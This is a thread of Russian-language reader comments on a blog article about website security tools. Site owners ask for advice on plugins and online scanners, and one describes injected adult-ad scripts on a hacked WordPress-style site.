Дмитрий, добрый день, спасибо за статью. Ребята- профессионалы подскажите, пожалуйста, плагин iThemes Security надежно защищает блог? Заранее спасибо!

Юлия

Дмитрий, статья очень полезная. Спасибо огромное. Тут много полезных инструментов — aibolit, diffchecker, surfpatrol, да все, что есть полезные. Два дня назад мой сайт взломали — повесили левую страницу. Восстановила из резервной копии, но теперь пытаюсь найти уязвимость. Без вашей статьи я бы долго искала информацию по многим сайтам. Теперь уже есть направление движения.

Melissa Johnson

Вирус Total является анти вирусов. Дайте мне знать, он свободен и способен на все окна.

Игорь

На сайте cloud-ru.com можно проверить phy файл на вирусы

Владимир Николаевич

Дмитрий, здравствуйте! Вновь перечитал Вашу статью об угрозах, которые косят сайты наповал, и отбивают желание дальше вести блог. Мой сайт не приносит доход-только расход на учёбу, и огромное количество часов на мониторинг блогов разной направленности. Я давно подписан на Ваш блог, скажем так, блог-энциклопедия. Часто бываю на нём, а иногда рекомендую «товарищам по цеху». Дальше для всех для заитересованных блогеров.

Хотя на данный момент, с моего блога Яндекс снял предупреждение о том, что сайта подгружаются скриптами рекламные блоки, но проблема видать осталась. Если открыть сайт в Гугле, то появляется предупреждение:страница пытается загрузить скрипы из непроверенных источников, блокиратор АВР подгружает 4 блокировки рекламы и стоит намертво. А вот Яндекс таких предупреждений не делает, а на открытой, любой страницы сайта, тот же АВР работает как счётчик, как будто ему за это платят, насчитывает пока сайт открыт, не в админке, а открыта главная, насчитывает вплоть 1000 и более блокировок рекламы, или как я понимаю, скрипты загрузились при открытии сайта и работают на на чаты для взрослых.Пример, как мне ответил Яндекс на запрос, почему нет страниц сайта в поиске: «Я проверил корректность работы наших алгоритмов в случае Вашего сайта. Они сработали верно. По нашим данным на страницах Вашего сайта подгружаются скриптами рекламные блоки со ссылками на чаты для взрослых bongacams.com и tools.bongacams.com . Они могут не отображаться визуально, но присутствуют в коде, поэтому обнаруживаются при проверке. Вы также сможете их увидеть, если рассмотрите код страниц в браузере».

Вот такая история, которую, я, чайник, решить не смог. Не захотели решать за даром и ребята из компании «revisium». Дмитрий, прошу совета, как мне обнаружить эту пакость на сайте. Сразу скажу, что проверял сайты на вирусы разными способами, в том числе антивирусами, тщетно... Может поможете советом. Мой сайт: pravo-wmete.ru

OmarSK

Посмотрел по вашей ссылки ресурс для проверки сайта, там еще есть возможность заказать антивирус для сайта, но как-то странно везде там полазил, но цен на услуг не нашел.

ArtemFresh

Все это хорошо, но как быть если совсем не разбираешься в таких вопросах? Не проще обратится к специалисту нежели самому все испортить.

Олег

Спасибо, хорошая статья.

Конечно, лучше иметь разработчика с навыками безопасности или друга в касперском, хаха, чтобы разбираться с такими проблемами.

Я периодически сканирую свой блог онлайн сканерами для поиска уязвимостей: acunetix.com, metascan.ru, detectify.com. Там триал, так что можно регаться сколько угодно. Полезно чтобы понимать, какие у тебя проблемы в отношении взломов на сайте

Ваш комментарий или отзыв